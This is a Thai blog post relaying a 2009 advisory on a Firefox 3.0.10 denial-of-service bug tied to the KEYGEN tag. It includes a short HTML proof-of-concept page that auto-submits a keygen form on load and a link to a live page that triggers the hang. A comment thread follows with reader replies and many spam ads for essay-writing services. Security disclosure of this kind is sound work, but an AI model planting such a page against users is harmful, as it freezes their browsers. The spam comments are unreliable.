จริงๆผมจะเขียนตั้งแต่เมื่อเช้าแล้วครับ แต่ว่าพอดีต้องออกไปข้างนอก 

 เลยเขียนไว้แต่บน twitter ว่า "Mozilla Firefox 3.0.10 (KEYGEN) Remote Denial of Service Exploit"

 เป็น Bug ID : 469565 (จะเห็นว่าทางทีม Mozilla จะยังไม่ให้เราเข้าถึงรายละเอียดของ bug นี้)

 

     Description

 รายละเอียดก็คือว่า ในบราวเซอร์ firefox นี้จะมี keygen tag (<keyfen>)

 ไว้สำหรับสร้างคีย์ชนิด RSA, DSA and EC โดย keygen tag ก็ไม่มีปัญหาอะไร 

 แต่ถ้าไปใช้งานร่วมกับ javascript body onload() มันจะให้เกิดลูปแบบไม่มีที่สิ้นสุด

 ทำให้เราเหมือนถูกโจมตีด้วยวิธีแบบ DoS (Denial of Service) 

 

     Impact

 ผลกระทบคือบราวเซอร์นั้นจะไม่ตอบสนองการใช้งานของผู้ใช้

 และอาจจะทำให้การทำงานอื่นๆช้าลง เนื่องจากว่า memory ถูกใช้ไป

 กับการสร้างคีย์ที่เป็นการทำงานแบบลูปที่ไม่รู้จบ

 

     Proof of concept

<html>
<body onLoad="document.forms[0].submit()">
<FORM>
<KEYGEN NAME="somekey" CHALLENGE="1125983021">
<INPUT TYPE="submit" NAME="SubmitButton" VALUE="Done">
</FORM>
</html>

  หรือเข้าไปที่ http://secdev.zoller.lu/ff_dos_keygen.html (ถ้าเข้าลิงค์นี้ firefox จะมีผลกระทบตามที่เขียนไว้นะครับ)

            

  ที่มา : http://blog.zoller.lu/2009/04/advisory-firefox-denial-of-service.html

  ปล. เดียวคงต้องรอ patch ออกมาแก้กันแระครับ

Comment

Comment:

Tweet

Have no clue which company to select to obtain aid from? Glance over PrimeEssays testimonials (best-essay-sites.com), and come to a sound decision.

#39 By EssaysEmpire rewiew (103.7.57.18|91.201.64.16) on 2013-01-11 17:14

Whenever you believe that you will not be able to make a good presentation of yourself, go to trustworthy writing companies that propose to buy cover letter resumesleader.com.

#38 By resume writers (103.7.57.18|91.201.64.16) on 2013-01-11 17:13

Are you ready to the academic writing assignments? I guarantee that numbers of university students do not like writing tasks. They have got one only choice. They can buy college papers uk "primewritings.co.uk". Some guys have saved their academic grades in this way.

#37 By Web page (103.7.57.18|91.201.64.16) on 2012-12-18 09:22

Are you willing to get resume prime-resume.com, that suit the field of study you prefer?. You can count on our resume writers, as you count on yourself. Thanks because this is the useful information

#36 By this link (103.7.57.18|91.201.64.16) on 2012-11-20 15:41

Different people know that it is more easy to buy the dissertation thesis and dissertation writing close to this topic, than to complete by personal efforts.

#35 By thesis (103.7.57.18|31.184.238.21) on 2012-05-10 00:18

The experienced custom thesis service would trade their thesis examples referring to this good topic, so, I determine the really experienced dissertation writing service and buy a dissertation right there.

#34 By custom dissertation (91.212.226.136) on 2012-04-24 06:37

The essay writing just about this post, people should see at the paper writing service. Buy the research paper and custom essays about this good topic.

#33 By custom essays (31.184.238.21) on 2012-01-18 16:44

I need to create my essay abruptly. I think I can order Reaction paper writing. I just don't see a better pathway.

#32 By Customized Essay (31.184.238.21) on 2012-01-03 06:59

Naturally, people buy essays written for you from the first academic custom papers writing corporation they see in the web. It supposes to be incorrect because they may get a scam service. Therefore, it's better to watch out with such issues.

#31 By custom written essay papers (31.184.236.16) on 2011-12-25 06:10

If you want to buy real estate, you will have to receive the <a href="http://goodfinance-blog.com/topics/mortgage-loans">mortgage loans</a>. Furthermore, my brother usually utilizes a student loan, which seems to be the most fast.

#30 By ALFREDATUCKER21 (94.242.214.7) on 2011-12-12 07:29

ขยันเขียนจัง สู้ๆๆๆเป็นกำลงใจให้ Hot!

#29 By X-Pect on 2009-06-01 13:16

อ่านประจำเลยคะความรู้ดีดี
แต่ว่าไม่มีเวลาทำเลยงะคะbig smile open-mounthed smile Hot!
อา...นี้ชั้นเรียนจบcom-sciมาจริงหรอ?
อย่าไปบอกใครนะคะ อิฮั้นอายยยยยยยย

555 อ่านแล้วมึน พยายามออกห่างจากวงจรนี้ละ แอบโง่เจ้าค่า เฮ่อๆ

#27 By nuchnin on 2009-06-01 09:55

ตอนนี้ bug นี้ทางทีม mozilla เปิดเผยให้ดูรายละเอียดแล้วครับ

https://bugzilla.mozilla.org/show_bug.cgi?id=469565

#26 By TonHor on 2009-05-31 15:21

โหลๆ พี่ฮ้อ

#25 By meriony on 2009-05-31 12:07

เค้าตกพวกวิชาเหล่านี้ตลอดเลยเพราะประยุกต์ใช้ไม่เป็น แต่ให้อ่านก็พอจะเข้าใจอยู่บ้าง เอะ .. ยังไง big smile

เอาเป็นว่าแก้โค้ทบลอคเป็นนิดหน่อยละกัน อิอิ


...
ที่ทำงานไม่มีใครให้จู๋จี๋เลย 555

#24 By Paa orKant on 2009-05-31 11:02

ใช้ firefox อยู่ค่ะ..รู้สึกว่าเร็วกว่า IE ตั้งเยอะ..แต่ใช้ได้ไม่ครบถ้วนกระบวนการค่ะ..

เช่น Add on ทำยังไง เล่นยังงัย..มีทำไม..ไม่ค่อยเข้าใจจริงๆค่ะ..

ก็จะพยายามอัพเดทตาม Firefox นะค่ะ จะติดตามไปเรื่อยค่ะ..ขอบคุณค่ะ..big smile Hot!
ทำไมเฮียไม่ใช้Cbox ค่ะ เฟจะได้บ่นถนัดหน่อยยยย

#22 By เฟ on 2009-05-31 02:58

bug เยอะ เพราะมีคนลองของเยอะ

ฮ๋าๆ question

#21 By [ HOoliGan ] on 2009-05-31 02:16

หืมม งงembarrassed ช่างสรรหาความงงจริ้งง พ่อคุ๊นน
ขอไม่พูดล่ะกันเดี๋ยวปล่อยความเขลา ~
///
แอบตอบ
พี่หมายถึงพนักงานขายรถใช่ป่าวล่ะ
cry
ระวังโดนขาย !มันจะมา

#20 By เฟ on 2009-05-31 00:16

อ่อ เข้าใจแล้วครับ ขอบคุณสำหรับวิธีครับ

#19 By φυβλας on 2009-05-30 22:59

แฮะๆ low tech อีกละเรา เป็นประโยชน์เอไปเร้ยHot!

#18 By Pat's Song on 2009-05-30 22:58

ใช้ IE คงไม่ต้องกังวลใช่มั้ย sad smile

#17 By EinniF™ on 2009-05-30 21:57

big smile confused smile Hot!



งง นิดหน่อยembarrassed question

#16 By noojooza on 2009-05-30 21:47

แวบมาตอบฮ่า คือก็ให้มันจำพาสเว็บที่ใช้ประจำแหละ ขี้เกียจพิมพ์ นี่พอปิดบราวเซอร์ไป เปิดใหม่ (ไมไ่ด้รีเครื่อง) ก็ต้องใส่ใหม่อีกแล้ว หงุดหงิด - -"

จริงๆ คือคอมใช้คนเดียวน่ะ ไม่ไมน์เท่าไหร่ แล้วถ้าพี่มันจะมาใช้คอมก็ไม่บ่อย ให้มันจำพาสแหละดีแล้ว คนใช้สูงวัยเต็มที sad smile

#15 By เมพหมี shakri on 2009-05-30 21:42

แก้แล้วนะค้าบ ตอนนี้ไม่เบียดไปฝั่งขวาละครับ
ขอบคุณที่เตือนนะครับ confused smile

#14 By n h e p h e x on 2009-05-30 21:19

=w='
เอ๊ะ หรือว่า Restaurant city จะโจมตีเราแบบนี้
ข้าเชียว ห่ะๆ

ขอบคุณที่บอกค่ะ ใช่ จิ้งจอกไฟอยู่ตลอดเหมือนกัน

#13 By Masp on 2009-05-30 21:14

อ่านแล้วเข้าใจบ้าง ไม่เข้าใจบ้าง sad smile sad smile

#12 By Prae on 2009-05-30 21:04

ณ บัดนาว ขนาดใช้ตัวเบต้าแล้ว หมาไฟหนูก็ยังไม่จำพาสค่ะ กระซิก...

#11 By เมพหมี shakri on 2009-05-30 20:40

งั้นรอให้เค้าแก้บัคให้เสร็จก่อนละกันค่อยใช้ sad smile

#9 By Daughter Of Sparda on 2009-05-30 20:33

ขอบคุณสำหรับคำตอบ เข้าใจและ..เป็นเยี่ยงนี้นี่เอง
ราดหน้าพารากอน ก็แพงงี้แหละค่ะ โดนบังคับให้ซื้อด้วย เจ็บใจ
#3 By φείβλας
ผมก็ไม่รู้นะครับมีใคร fav ผมบ้าง
แต่ตรง stat มันดูได้ว่า มีคน fav เรากี่คน

หรืออีกวิธีหนึ่ง
ลองใช้ google ดูว่ามีใครทำลิงค์มาบล็อคเราก็ก็คือ
search ว่า "link:http://tonhor.exteen.com"

ลองดูแล้วกันนะครับ

#7 By TonHor on 2009-05-30 20:15

งั้นต้องรออัปเดตสัปดาห์หน้าหล่ะ

#6 By inatmon on 2009-05-30 20:15

คงต้องรอแก้อีกละสิเนี่ย

#5 By cartoonst on 2009-05-30 20:10

ไม่ค่อยเก่งคอมฯ เลยไม่ค่อยจะรู้เรื่องกับเขาเท่าไหร่ embarrassed
ถามหน่อยครับ เห็นที่เขียนข้างบนเลยสงสัย จะทราบได้ยังไงครับว่ามีใครที่ add favourites เราไป

#3 By φυβλας on 2009-05-30 20:07

เรื่องเกี่ยวกับ firefox เชื่อแล้วว่า นินคุงไวจริง

ผมยังไม่ได้ publish เลย เม้นท์ก่อนผม publish อีกconfused smile

#2 By TonHor on 2009-05-30 20:03

เวอร์ชั่น 3.0.11 จะออกสัปดาห์หน้านี่ล่ะ ไม่รู้แก้รึยัง sad smile

#1 By NinkungZ on 2009-05-30 19:47